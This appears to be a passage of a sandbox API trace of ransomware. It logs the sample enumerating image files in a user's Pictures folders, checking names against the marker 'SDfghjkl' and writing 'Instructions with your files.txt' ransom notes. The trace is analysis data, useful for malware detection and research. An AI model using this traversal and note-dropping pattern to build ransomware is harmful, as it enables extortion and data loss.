[0131.690] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\4pet.bmp") returned 58
[0131.690] StrStrIW (lpFirst="4pet.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.690] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x177068e0, ftCreationTime.dwHighDateTime=0x1d5be58, ftLastAccessTime.dwLowDateTime=0x1ddc73f0, ftLastAccessTime.dwHighDateTime=0x1d5c17c, ftLastWriteTime.dwLowDateTime=0x1ddc73f0, ftLastWriteTime.dwHighDateTime=0x1d5c17c, nFileSizeHigh=0x0, nFileSizeLow=0xefcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="4QxAf3X-FZce0S9.jpg", cAlternateFileName="4QXAF3~1.JPG")) returned 1
[0131.690] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\4QxAf3X-FZce0S9.jpg") returned 69
[0131.690] StrStrIW (lpFirst="4QxAf3X-FZce0S9.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.690] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x670e4010, ftCreationTime.dwHighDateTime=0x1d5bfe9, ftLastAccessTime.dwLowDateTime=0xdfda9d10, ftLastAccessTime.dwHighDateTime=0x1d5bdee, ftLastWriteTime.dwLowDateTime=0xdfda9d10, ftLastWriteTime.dwHighDateTime=0x1d5bdee, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="4RjG 8WOGTGq9w.bmp", cAlternateFileName="4RJG8W~1.BMP")) returned 1
[0131.690] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\4RjG 8WOGTGq9w.bmp") returned 68
[0131.690] StrStrIW (lpFirst="4RjG 8WOGTGq9w.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.690] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb33b10, ftCreationTime.dwHighDateTime=0x1d5c2f9, ftLastAccessTime.dwLowDateTime=0x4c3aef20, ftLastAccessTime.dwHighDateTime=0x1d5b8c0, ftLastWriteTime.dwLowDateTime=0x4c3aef20, ftLastWriteTime.dwHighDateTime=0x1d5b8c0, nFileSizeHigh=0x0, nFileSizeLow=0x1486b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AKNb vn5mp4Ht.bmp", cAlternateFileName="AKNBVN~1.BMP")) returned 1
[0131.690] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\AKNb vn5mp4Ht.bmp") returned 67
[0131.690] StrStrIW (lpFirst="AKNb vn5mp4Ht.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.690] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f25e940, ftCreationTime.dwHighDateTime=0x1d5bb74, ftLastAccessTime.dwLowDateTime=0xdf5f72b0, ftLastAccessTime.dwHighDateTime=0x1d5bfe8, ftLastWriteTime.dwLowDateTime=0xdf5f72b0, ftLastWriteTime.dwHighDateTime=0x1d5bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0x0, dwReserved1=0x0, cFileName="EBbJDbN gKuxtGijTar.gif", cAlternateFileName="EBBJDB~1.GIF")) returned 1
[0131.690] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\EBbJDbN gKuxtGijTar.gif") returned 73
[0131.690] StrStrIW (lpFirst="EBbJDbN gKuxtGijTar.gif", lpSrch="SDfghjkl") returned 0x0
[0131.690] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7136eaa0, ftCreationTime.dwHighDateTime=0x1d5beff, ftLastAccessTime.dwLowDateTime=0x3dd06480, ftLastAccessTime.dwHighDateTime=0x1d5c584, ftLastWriteTime.dwLowDateTime=0x3dd06480, ftLastWriteTime.dwHighDateTime=0x1d5c584, nFileSizeHigh=0x0, nFileSizeLow=0xa65f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EebV.bmp", cAlternateFileName="")) returned 1
[0131.690] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\EebV.bmp") returned 58
[0131.690] StrStrIW (lpFirst="EebV.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.690] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49179690, ftCreationTime.dwHighDateTime=0x1d5b735, ftLastAccessTime.dwLowDateTime=0x2747af80, ftLastAccessTime.dwHighDateTime=0x1d5c443, ftLastWriteTime.dwLowDateTime=0x2747af80, ftLastWriteTime.dwHighDateTime=0x1d5c443, nFileSizeHigh=0x0, nFileSizeLow=0xa56f, dwReserved0=0x0, dwReserved1=0x0, cFileName="fc BKJN0n.jpg", cAlternateFileName="FCBKJN~1.JPG")) returned 1
[0131.690] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\fc BKJN0n.jpg") returned 63
[0131.690] StrStrIW (lpFirst="fc BKJN0n.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.690] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b52b120, ftCreationTime.dwHighDateTime=0x1d5b806, ftLastAccessTime.dwLowDateTime=0x202f8e20, ftLastAccessTime.dwHighDateTime=0x1d5bc0a, ftLastWriteTime.dwLowDateTime=0x202f8e20, ftLastWriteTime.dwHighDateTime=0x1d5bc0a, nFileSizeHigh=0x0, nFileSizeLow=0x17af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="I5Fh5ezvqHcrje.bmp", cAlternateFileName="I5FH5E~1.BMP")) returned 1
[0131.691] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\I5Fh5ezvqHcrje.bmp") returned 68
[0131.691] StrStrIW (lpFirst="I5Fh5ezvqHcrje.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.691] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6104e160, ftCreationTime.dwHighDateTime=0x1d5be18, ftLastAccessTime.dwLowDateTime=0x5616a100, ftLastAccessTime.dwHighDateTime=0x1d5b86c, ftLastWriteTime.dwLowDateTime=0x5616a100, ftLastWriteTime.dwHighDateTime=0x1d5b86c, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="K-4h56dBcWT58sAJ11.png", cAlternateFileName="K-4H56~1.PNG")) returned 1
[0131.691] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\K-4h56dBcWT58sAJ11.png") returned 72
[0131.691] StrStrIW (lpFirst="K-4h56dBcWT58sAJ11.png", lpSrch="SDfghjkl") returned 0x0
[0131.691] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf05d03f0, ftCreationTime.dwHighDateTime=0x1d5bbda, ftLastAccessTime.dwLowDateTime=0x19b13660, ftLastAccessTime.dwHighDateTime=0x1d5bd82, ftLastWriteTime.dwLowDateTime=0x19b13660, ftLastWriteTime.dwHighDateTime=0x1d5bd82, nFileSizeHigh=0x0, nFileSizeLow=0x117b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NvodEO H99Vrz.png", cAlternateFileName="NVODEO~1.PNG")) returned 1
[0131.691] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\NvodEO H99Vrz.png") returned 67
[0131.691] StrStrIW (lpFirst="NvodEO H99Vrz.png", lpSrch="SDfghjkl") returned 0x0
[0131.691] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9504f760, ftCreationTime.dwHighDateTime=0x1d5be41, ftLastAccessTime.dwLowDateTime=0x9a9862c0, ftLastAccessTime.dwHighDateTime=0x1d5c4f4, ftLastWriteTime.dwLowDateTime=0x9a9862c0, ftLastWriteTime.dwHighDateTime=0x1d5c4f4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NVPkzxgVCeCPkT.jpg", cAlternateFileName="NVPKZX~1.JPG")) returned 1
[0131.691] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\NVPkzxgVCeCPkT.jpg") returned 68
[0131.691] StrStrIW (lpFirst="NVPkzxgVCeCPkT.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.691] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca26050, ftCreationTime.dwHighDateTime=0x1d5b8e3, ftLastAccessTime.dwLowDateTime=0x900e4e30, ftLastAccessTime.dwHighDateTime=0x1d5c334, ftLastWriteTime.dwLowDateTime=0x900e4e30, ftLastWriteTime.dwHighDateTime=0x1d5c334, nFileSizeHigh=0x0, nFileSizeLow=0x8202, dwReserved0=0x0, dwReserved1=0x0, cFileName="S1hliqx.jpg", cAlternateFileName="")) returned 1
[0131.691] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\S1hliqx.jpg") returned 61
[0131.691] StrStrIW (lpFirst="S1hliqx.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.691] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc197760, ftCreationTime.dwHighDateTime=0x1d5c0ca, ftLastAccessTime.dwLowDateTime=0x4fad6a00, ftLastAccessTime.dwHighDateTime=0x1d5bee9, ftLastWriteTime.dwLowDateTime=0x4fad6a00, ftLastWriteTime.dwHighDateTime=0x1d5bee9, nFileSizeHigh=0x0, nFileSizeLow=0x902d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOIlc xGbqo.jpg", cAlternateFileName="SOILCX~1.JPG")) returned 1
[0131.691] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\SOIlc xGbqo.jpg") returned 65
[0131.691] StrStrIW (lpFirst="SOIlc xGbqo.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.691] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc197760, ftCreationTime.dwHighDateTime=0x1d5c0ca, ftLastAccessTime.dwLowDateTime=0x4fad6a00, ftLastAccessTime.dwHighDateTime=0x1d5bee9, ftLastWriteTime.dwLowDateTime=0x4fad6a00, ftLastWriteTime.dwHighDateTime=0x1d5bee9, nFileSizeHigh=0x0, nFileSizeLow=0x902d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOIlc xGbqo.jpg", cAlternateFileName="SOILCX~1.JPG")) returned 0
[0131.691] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\Instructions with your files.txt") returned 82
[0131.691] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ht84c8\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.691] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.692] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.692] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.693] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.693] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.693] CloseHandle (hObject=0x110) returned 1
[0131.693] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.693] GetProcessHeap () returned 0x810000
[0131.693] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.693] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70013a80, ftCreationTime.dwHighDateTime=0x1d5b790, ftLastAccessTime.dwLowDateTime=0x3a4219c0, ftLastAccessTime.dwHighDateTime=0x1d5c5e9, ftLastWriteTime.dwLowDateTime=0x3a4219c0, ftLastWriteTime.dwHighDateTime=0x1d5c5e9, nFileSizeHigh=0x0, nFileSizeLow=0x15b12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ml9MMYgrP.jpg", cAlternateFileName="ML9MMY~1.JPG")) returned 1
[0131.693] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ml9MMYgrP.jpg") returned 56
[0131.693] StrStrIW (lpFirst="ml9MMYgrP.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.693] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x652bda90, ftCreationTime.dwHighDateTime=0x1d5b61c, ftLastAccessTime.dwLowDateTime=0x6182f0, ftLastAccessTime.dwHighDateTime=0x1d5c043, ftLastWriteTime.dwLowDateTime=0x6182f0, ftLastWriteTime.dwHighDateTime=0x1d5c043, nFileSizeHigh=0x0, nFileSizeLow=0x7324, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t3CCV7fIAIzLZUmfMFjB.jpg", cAlternateFileName="T3CCV7~1.JPG")) returned 1
[0131.693] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\t3CCV7fIAIzLZUmfMFjB.jpg") returned 67
[0131.693] StrStrIW (lpFirst="t3CCV7fIAIzLZUmfMFjB.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.693] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb604f820, ftCreationTime.dwHighDateTime=0x1d5bba3, ftLastAccessTime.dwLowDateTime=0x1ec2be90, ftLastAccessTime.dwHighDateTime=0x1d5c227, ftLastWriteTime.dwLowDateTime=0x1ec2be90, ftLastWriteTime.dwHighDateTime=0x1d5c227, nFileSizeHigh=0x0, nFileSizeLow=0x14d9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uYM--SnpMSt_Li9oJ3.jpg", cAlternateFileName="UYM--S~1.JPG")) returned 1
[0131.693] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uYM--SnpMSt_Li9oJ3.jpg") returned 65
[0131.693] StrStrIW (lpFirst="uYM--SnpMSt_Li9oJ3.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.693] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b97140, ftCreationTime.dwHighDateTime=0x1d5c3a4, ftLastAccessTime.dwLowDateTime=0x872c89c0, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x872c89c0, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x14dfb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zKbXP.gif", cAlternateFileName="")) returned 1
[0131.693] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zKbXP.gif") returned 52
[0131.693] StrStrIW (lpFirst="zKbXP.gif", lpSrch="SDfghjkl") returned 0x0
[0131.693] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae31c350, ftCreationTime.dwHighDateTime=0x1d5b87c, ftLastAccessTime.dwLowDateTime=0x47f7fdc0, ftLastAccessTime.dwHighDateTime=0x1d5be30, ftLastWriteTime.dwLowDateTime=0x47f7fdc0, ftLastWriteTime.dwHighDateTime=0x1d5be30, nFileSizeHigh=0x0, nFileSizeLow=0x64d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zXMLxHHiHyue3.png", cAlternateFileName="ZXMLXH~1.PNG")) returned 1
[0131.693] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zXMLxHHiHyue3.png") returned 60
[0131.693] StrStrIW (lpFirst="zXMLxHHiHyue3.png", lpSrch="SDfghjkl") returned 0x0
[0131.693] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae31c350, ftCreationTime.dwHighDateTime=0x1d5b87c, ftLastAccessTime.dwLowDateTime=0x47f7fdc0, ftLastAccessTime.dwHighDateTime=0x1d5be30, ftLastWriteTime.dwLowDateTime=0x47f7fdc0, ftLastWriteTime.dwHighDateTime=0x1d5be30, nFileSizeHigh=0x0, nFileSizeLow=0x64d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zXMLxHHiHyue3.png", cAlternateFileName="ZXMLXH~1.PNG")) returned 0
[0131.693] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Instructions with your files.txt") returned 75
[0131.693] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.694] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.695] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.695] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.695] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.695] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.695] CloseHandle (hObject=0x10c) returned 1
[0131.695] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.695] GetProcessHeap () returned 0x810000
[0131.695] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.695] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1
[0131.695] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned 43
[0131.695] GetProcessHeap () returned 0x810000
[0131.695] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.695] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*") returned 45
[0131.695] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae31c350, ftCreationTime.dwHighDateTime=0x1d5b87c, ftLastAccessTime.dwLowDateTime=0x47f7fdc0, ftLastAccessTime.dwHighDateTime=0x1d5be30, ftLastWriteTime.dwLowDateTime=0x47f7fdc0, ftLastWriteTime.dwHighDateTime=0x1d5be30, nFileSizeHigh=0x0, nFileSizeLow=0x64d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zXMLxHHiHyue3.png", cAlternateFileName="Ȭ癙미\x88翿")) returned 0xffffffff
[0131.695] GetProcessHeap () returned 0x810000
[0131.695] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.695] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1
[0131.695] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned 40
[0131.695] GetProcessHeap () returned 0x810000
[0131.696] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.696] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*") returned 42
[0131.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae31c350, ftCreationTime.dwHighDateTime=0x1d5b87c, ftLastAccessTime.dwLowDateTime=0x47f7fdc0, ftLastAccessTime.dwHighDateTime=0x1d5be30, ftLastWriteTime.dwLowDateTime=0x47f7fdc0, ftLastWriteTime.dwHighDateTime=0x1d5be30, nFileSizeHigh=0x0, nFileSizeLow=0x64d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zXMLxHHiHyue3.png", cAlternateFileName="Ȭ癙미\x88翿")) returned 0xffffffff
[0131.696] GetProcessHeap () returned 0x810000
[0131.696] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.696] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1
[0131.696] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned 45
[0131.696] GetProcessHeap () returned 0x810000
[0131.696] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.696] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*") returned 47
